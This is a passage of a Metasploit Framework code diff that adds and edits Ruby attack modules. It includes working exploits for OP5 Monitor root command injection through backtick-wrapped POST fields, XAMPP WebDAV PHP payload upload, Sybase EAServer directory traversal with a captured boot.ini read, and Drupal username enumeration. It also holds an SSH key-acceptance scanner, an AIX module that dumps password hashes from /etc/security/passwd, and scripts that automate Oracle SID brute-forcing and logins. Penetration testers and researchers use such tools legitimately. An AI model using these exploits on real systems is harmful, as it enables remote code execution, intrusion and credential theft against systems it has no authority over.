john = File.open(john_wordlist_path, "rb")
john.each_line{|line| seed << line.chomp}
unless seed.empty?
seed.flatten!
seed.uniq!
end
print_status("Wordlist Seeded with #{seed.length} words")
return seed
end
end

View File

@ -80,7 +80,11 @@ class Metasploit3 < Msf::Auxiliary
if datastore['RECORD_GUEST']
report_ftp_creds(user,pass,@access)
else
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
if @accepts_all_logins[@access]
report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip)
else
report_ftp_creds(user,pass,@access)
end
end
end
ret

View File

@ -0,0 +1,116 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Views Module Users Enumeration',
'Description' => %q{
This module exploits an information disclosure vulnerability in the 'Views'
module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
},
'Author' =>
[
'Justin Klein Keane', #Original Discovery
'Robin François <rof[at]navixia.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://www.madirish.net/node/465'],
],
'DisclosureDate' => 'Jul 2 2010'
))
register_options(
[
OptString.new('URIPATH', [true, "Drupal Path", "/"]),
], self.class)
end
def check(base_uri)
res = send_request_cgi({
'uri' => base_uri,
'method' => 'GET',
'headers' => { 'Connection' => 'Close' }
}, 25)
if not res
return false
elsif res.message != 'OK' or res.body != '[ ]'
return false
else
return true
end
end
def run_host(ip)
# Make sure the URIPATH begins with '/'
if datastore['URIPATH'][0] != '/'
datastore['URIPATH'] = '/' + datastore['URIPATH']
end
# Make sure the URIPATH ends with /
if datastore['URIPATH'][-1] != '/'
datastore['URIPATH'] = datastore['URIPATH'] + '/'
end
enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/"
# Check if remote host is available or appears vulnerable
if not check(enum_uri)
print_error("#{ip} does not appear to be vulnerable, will not continue")
return
end
print_status("Begin enumerating users at #{ip}")
results = []
('a'..'z').each do |l|
vprint_status("Iterating on letter: #{l}")
res = send_request_cgi({
'uri' => enum_uri+l,
'method' => 'GET',
'headers' => { 'Connection' => 'Close' }
}, 25)
if (res and res.message == "OK")
user_list = res.body.scan(/\w+/)
if user_list.empty?
vprint_line("\tFound: Nothing")
else
vprint_line("\tFound: #{user_list.inspect}")
results << user_list
end
else
print_error("Unexpected results from server")
return
end
end
final_results = results.flatten.uniq
print_status("Done. " + final_results.length.to_s + " usernames found...")
final_results.each do |user|
report_auth_info(
:host => Rex::Socket.getaddress(datastore['RHOST']),
:port => datastore['RPORT'],
:user => user,
:type => "drupal_user"
)
end
end
end

View File

@ -0,0 +1,112 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sybase Easerver 6.3 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Sybase
EAserver's Jetty webserver on port 8000. Code execution seems unlikely with
EAserver's default configuration unless the web server allows WRITE permission.
},
'References' =>
[
[ 'CVE', '2011-2474' ],
[ 'OSVDB', '72498' ],
[ 'URL', 'http://www.sybase.com/detail?id=1093216' ],
[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=912' ],
],
'Author' =>
[
'Sow Ching Shiong', #Initial discovery (via iDefense)
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "May 25 2011"
))
register_options(
[
Opt::RPORT(8000),
OptString.new("FILEPATH", [false, 'Specify a parameter for the action'])
], self.class)
deregister_options('RHOST')
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("Please supply the name of the file you want to download")
return
end
print_status("Attempting to download: #{datastore['FILEPATH']}")
# Create request
traversal = ".\\..\\.\\..\\.\\..\\.\\.."
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
}, 25)
print_status("Server returns HTTP code: #{res.code.to_s}")
# Show data if needed
if res and res.code == 200
vprint_line(res.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'easerver.http',
'application/octet-stream',
ip,
res.body,
fname
)
print_status("File saved in: #{path}")
else
print_error("Nothing was downloaded")
end
end
end
=begin
GET /.\..\.\..\.\..\.\..\boot.ini HTTP/1.0
User-Agent: DotDotPwn v2.1 <-- yup, awesome tool
Connection: close
Accept: */*
Host: 10.0.1.55:8000
HTTP/1.1 200 OK
Last-Modified: Sat, 24 Sep 2011 07:12:39 GMT
Content-Length: 211
Connection: close
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn
$ nc 10.0.1.55 8000
OPTIONS / HTTP/1.0
HTTP/1.1 405 Method Not Allowed
Allow: GET
Content-Length: 0
Server: Jetty(EAServer/6.3.1.04 Build 63104 EBF 18509)
=end

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
:sname => 'HTTP',
:port => rport,
:type => wdtype,
:data => 'enabled'
:data => datastore['PATH']
})
else

View File

@ -0,0 +1,333 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
require 'sshkey' # TODO: Actually include this!
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'SSH Public Key Acceptance Scanner',
'Description' => %q{
This module can determine what public keys are configured for
key-based authentication across a range of machines, users, and
sets of known keys. The SSH protocol indicates whether a particular
key is accepted prior to the client performing the actual signed
authentication request. To use this module, a text file containing
one or more SSH keys should be provided. These can be private or
public, so long as no passphrase is set on the private keys.
If you have loaded a database plugin and connected to a database
this module will record authorized public keys and hosts so you can
track your process.
Key files may be a single public (unencrypted) key, or several public
keys concatenated together as an ASCII text file. Non-key data should be
silently ignored. Private keys will only utilize the public key component
stored within the key file.
},
'Author' => ['todb', 'hdm'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(22),
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]),
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.'])
]
)
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
@good_credentials = {}
@good_key = ''
@strip_passwords = true
end
def key_dir
datastore['KEY_DIR']
end
def rport
datastore['RPORT']
end
def ip
datastore['RHOST']
end
def read_keyfile(file)
if file == :keyfile_b64
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
elsif file.kind_of? Array
keyfile = ''
file.each do |dir_entry|
next unless ::File.readable? dir_entry
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
end
else
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
end
keys = []
this_key = []
in_key = false
keyfile.split("\n").each do |line|
if line =~ /ssh-(dss|rsa)\s+/
keys << line
next
end
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
this_key << line if in_key
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
in_key = false
keys << (this_key.join("\n") + "\n")
this_key = []
end
end
if keys.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return validate_keys(keys)
end
# Validates that the key isn't total garbage, and converts PEM formatted
# keys to SSH formatted keys.
def validate_keys(keys)
keepers = []
keys.each do |key|
if key =~ /ssh-(dss|rsa)/
keepers << key
next
else # Use the mighty SSHKey library from James Miller to convert them on the fly.
ssh_version = SSHKey.new(key).ssh_public_key rescue nil
keepers << ssh_version if ssh_version
next
end
# Needs a beginning
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
# Needs an end
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
# Shouldn't have binary.
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
# Add more tests to taste.
keepers << key
end
if keepers.empty?
print_error "#{ip}:#{rport} SSH - No valid keys found"
end
return keepers.uniq
end
def pull_cleartext_keys(keys)
cleartext_keys = []
keys.each do |key|
next unless key
next if key =~ /Proc-Type:.*ENCRYPTED/
this_key = key.gsub(/\x0d/,"")
next if cleartext_keys.include? this_key
cleartext_keys << this_key
end
if cleartext_keys.empty?
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
end
return cleartext_keys
end
def do_login(ip, port, user)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
@keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
keys = read_keyfile(:keyfile_b64)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
@keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
else
return :missing_keyfile
end
unless @alerted_with_msg
print_status msg
@alerted_with_msg = true
end
cleartext_keys.each_with_index do |key_data,key_idx|
key_info = ""
if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/
key_info = "- #{$3.strip}"
end
accepted = []
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => port,
:key_data => key_data,
:disable_agent => true,
:record_auth_info => true,
:skip_private_keys => true,
:accepted_key_callback => Proc.new {|key| accepted << key }
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = Net::SSH.start(ip, user, opt_hash)
if datastore['SSH_BYPASS']
data = nil
print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
begin
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
rescue ::Exception
end
print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
end
::Timeout.timeout(1) { ssh_socket.close } rescue nil
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end
if accepted.length == 0
if @key_files
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key, key_data)
end
end
end
def do_report(ip, port, user, key, key_data)
return unless framework.db.active
store_keyfile_b64_loot(ip,user,key[:fingerprint])
cred_hash = {
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:pass => @keyfile_path,
:source_type => "user_supplied",
:type => 'ssh_pubkey',
:proof => "KEY=#{key[:fingerprint]}",
:duplicate_ok => true,
:active => true
}
this_cred = report_auth_info(cred_hash)
end
# Checks if any existing privkeys matches the named key's
# key id. If so, assign that other key's cred.id to this
# one's proof section, and vice-versa.
def cross_check_privkeys(key_id)
return unless framework.db.active
other_cred = nil
framework.db.creds.each do |cred|
next unless cred.ptype == "ssh_key"
next unless cred.proof =~ /#{key_id}/
other_cred = cred
break
end
return other_cred
end
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
# good, then store it as loot for this user@host, unless we
# already have it in loot.
def store_keyfile_b64_loot(ip,user,key_id)
return unless db
return if @keyfile_path
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
keyfile = keyfile.strip + "\n"
ktype_match = keyfile.match(/ssh-(rsa|dss)/)
return unless ktype_match
ktype = ktype_match[1].downcase
ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
# Assignment and comparison here, watch out!
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
if loot.info.include? key_id
@keyfile_path = loot.path
end
end
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
end
def run_host(ip)
# Since SSH collects keys and tries them all on one authentication session, it doesn't
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
# and try all available keys for all users.
each_user_pass do |user,pass|
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
:abort
when :connection_disconnect
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
:abort
when :fail
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
when :missing_keyfile
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
when :no_valid_keys
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
end
end
end
end

View File

@ -63,11 +63,12 @@ class Metasploit3 < Msf::Auxiliary
def do_login(ip,user,pass,port)
opt_hash = {
:auth_methods => ['password','keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:password => pass
:auth_methods => ['password','keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => port,
:disable_agent => true,
:password => pass
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

View File

@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary
:msfmodule => self,
:port => port,
:key_data => key_data,
:disable_agent => true,
:record_auth_info => true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
@ -247,8 +248,9 @@ class Metasploit3 < Msf::Auxiliary
end
def do_report(ip,user,port,proof)
return unless framework.db.active
store_keyfile_b64_loot(ip,user,self.good_key)
report_auth_info(
cred_hash = {
:host => ip,
:port => datastore['RPORT'],
:sname => 'ssh',
@ -257,7 +259,8 @@ class Metasploit3 < Msf::Auxiliary
:type => "ssh_key",
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
:active => true
)
}
this_cred = report_auth_info(cred_hash)
end
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's

View File

@ -66,7 +66,8 @@ class Metasploit3 < Msf::Auxiliary
begin
each_user_pass do |user, pass|
Timeout.timeout(overall_timeout) do
try_user_pass(user, pass)
res = try_user_pass(user, pass)
start_telnet_session(rhost,rport,user,pass) if res == :next_user
end
end
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
@ -112,11 +113,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
report_telnet(user,pass,@trace)
else
if login_succeeded?
start_telnet_session(rhost,rport,user,pass)
return :next_user
end
return :next_user
end
end
@ -237,6 +234,7 @@ class Metasploit3 < Msf::Auxiliary
end
def start_telnet_session(host, port, user, pass)
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status(banner_sanitized) if datastore['VERBOSE']
vprint_status(banner_sanitized)
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"

View File

@ -0,0 +1,108 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 license.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in the
OP5 Monitor license.php. Ekelöw has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0261'],
['OSVDB', '78064'],
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
], self.class)
end
def check
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end

View File

@ -0,0 +1,108 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 welcome Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0262'],
['OSVDB', '78065'],
['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
], self.class)
end
def check
print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'do=do=Login&password=`' + payload.encoded + '`';
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end

View File

@ -0,0 +1,91 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'XAMPP WebDAV PHP Upload',
'Description' => %q{
This module exploits weak WebDAV passwords on XAMPP servers.
It uses supplied credentials to upload a PHP payload and
execute it.
},
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
'Version' => '$Revision$',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
)
register_options(
[
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])
], self.class)
end
def exploit
uri = build_path
print_status "Uploading Payload to #{uri}"
res,c = send_digest_request_cgi({
'uri' => uri,
'method' => 'PUT',
'data' => payload.raw,
'DigestAuthUser' => datastore['RUSER'],
'DigestAuthPassword' => datastore['RPASS']
}, 25)
unless (res.code == 201)
print_error "Failed to upload file!"
return
end
print_status "Attempting to execute Payload"
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
}, 20)
end
def build_path
if datastore['PATH'][0,1] == '/'
uri_path = datastore['PATH'].dup
else
uri_path = '/' + datastore['PATH'].dup
end
uri_path << '/' unless uri_path.ends_with?('/')
if datastore['FILENAME']
uri_path << datastore['FILENAME']
uri_path << '.php' unless uri_path.ends_with?('.php')
else
uri_path << Rex::Text.rand_text_alphanumeric(7)
uri_path << '.php'
end
return uri_path
end
end

View File

@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'OSVDB', '77387'],
[ 'URL', 'http://aluigi.altervista.org/adv/codesys_1-adv.txt' ],
[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ],
# The following clearifies why two people are credited for the discovery
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-12-006-01.pdf']
],
'DefaultOptions' =>
{

View File

@ -0,0 +1,68 @@
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'AIX Gather Dump Password Hashes',
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
'License' => MSF_LICENSE,
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],
'Version' => '$Revision$',
'Platform' => [ 'aix' ],
'SessionTypes' => [ 'shell' ]
))
end
def run
if is_root?
passwd_file = read_file("/etc/security/passwd")
jtr = parse_aix_passwd(passwd_file)
store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File")
else
print_error("You must run this module as root!")
end
end
def parse_aix_passwd(aix_file)
jtr_file = ""
tmp = ""
aix_file.each_line do |line|
username = line.match(/(\w+:)/)
if username
tmp = username[0]
end
hash = line.match(/password = (\w+)/)
if hash
tmp << hash[1]
jtr_file << "#{tmp}\n"
end
end
return jtr_file
end
end

View File

@ -0,0 +1,66 @@
# oracle_login.rc
# Author: nebulus
<ruby>
hosts = {}
host_id_to_ip = {}
# map hosts ip to host_id
begin
framework.db.hosts.each do |host|
# don't really like having to do that but only way I could tie them together as notes were missing ip
host_id_to_ip[host.id] = host.address
end
rescue ActiveRecord::ConnectionNotEstablished
puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
# self.run_single('db_connect <creds>')
# puts "trying again..."
# retry
end
begin
framework.db.notes.each do |note|
if ( note.ntype == 'oracle_sid' )
data = note.data
if(data =~ /PORT=(\d+), SID=(\S*)$/)
ip = host_id_to_ip[note.host_id]
port = "#{$1}"
sid = "#{$2}"
if(sid != '')
hosts["#{ip}"] = {'RPORT' => port, 'SID' => sid}
end
else
puts "Bad regexp (#{note.inspect})"
end
end
end
rescue ActiveRecord::ConnectionNotEstablished
puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
# self.run_single('db_connect <creds>')
# puts "trying again..."
# retry
end
self.run_single("use auxiliary/admin/oracle/oracle_login")
hosts.each do |rhost|
begin
self.run_single("set RHOST #{rhost[0]}")
self.run_single("set RPORT #{rhost[1]['RPORT']}")
self.run_single("set SID #{rhost[1]['SID']}")
self.run_single('exploit')
puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
# self.run_single('db_connect <creds>')
# puts "trying again..."
# retry
end
end
</ruby>

View File

@ -0,0 +1,34 @@
# oracle_sids.rc
# Author: nebulus
<ruby>
hosts = []
begin
framework.db.services.each do |service|
if ( (service.port == 1521 or service.port == 1522 or service.port == 1526) and (service.name =~ /oracle/i) and service.state == 'open')
hosts << {'ip' => service.host.address, 'port' => service.port}
end
end
rescue ActiveRecord::ConnectionNotEstablished
puts "DB not connected..."
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
# self.run_single('db_connect <creds>')
# puts "trying again..."
# retry
end
self.run_single("use auxiliary/admin/oracle/sid_brute")
hosts.each do |rhost|
self.run_single("set RHOST #{rhost['ip']}")
self.run_single("set RPORT #{rhost['port']}")
self.run_single('set ConnectTimeout 5')
self.run_single('run')
sleep 1
end
</ruby>

View File

@ -0,0 +1,28 @@
# oracle_tns.rc
# Author: nebulus
<ruby>
hosts = [
'10.1.1.0/24',
'10.1.2.1',
'192.168.0.0/16'
]
ports = ['1521', '1522', '1526']
self.run_single("use auxiliary/scanner/oracle/tnslsnr_version")
hosts.each do |net|
ports.each do |port|
self.run_single("set RHOSTS #{net}")
self.run_single("set THREADS 128")
self.run_single("set RPORT #{port}")
self.run_single('set ConnectTimeout 5')
self.run_single('set VERBOSE false')
self.run_single('run')
sleep 1
end
end
</ruby>

View File

@ -1,3 +1,6 @@
# run_all_post.rc
# Author: mubix
# This is a sample resource script demonstrating a technique of running
# a single post module against several active sessions at once. The post
# module should be the currently active module, with sessions from other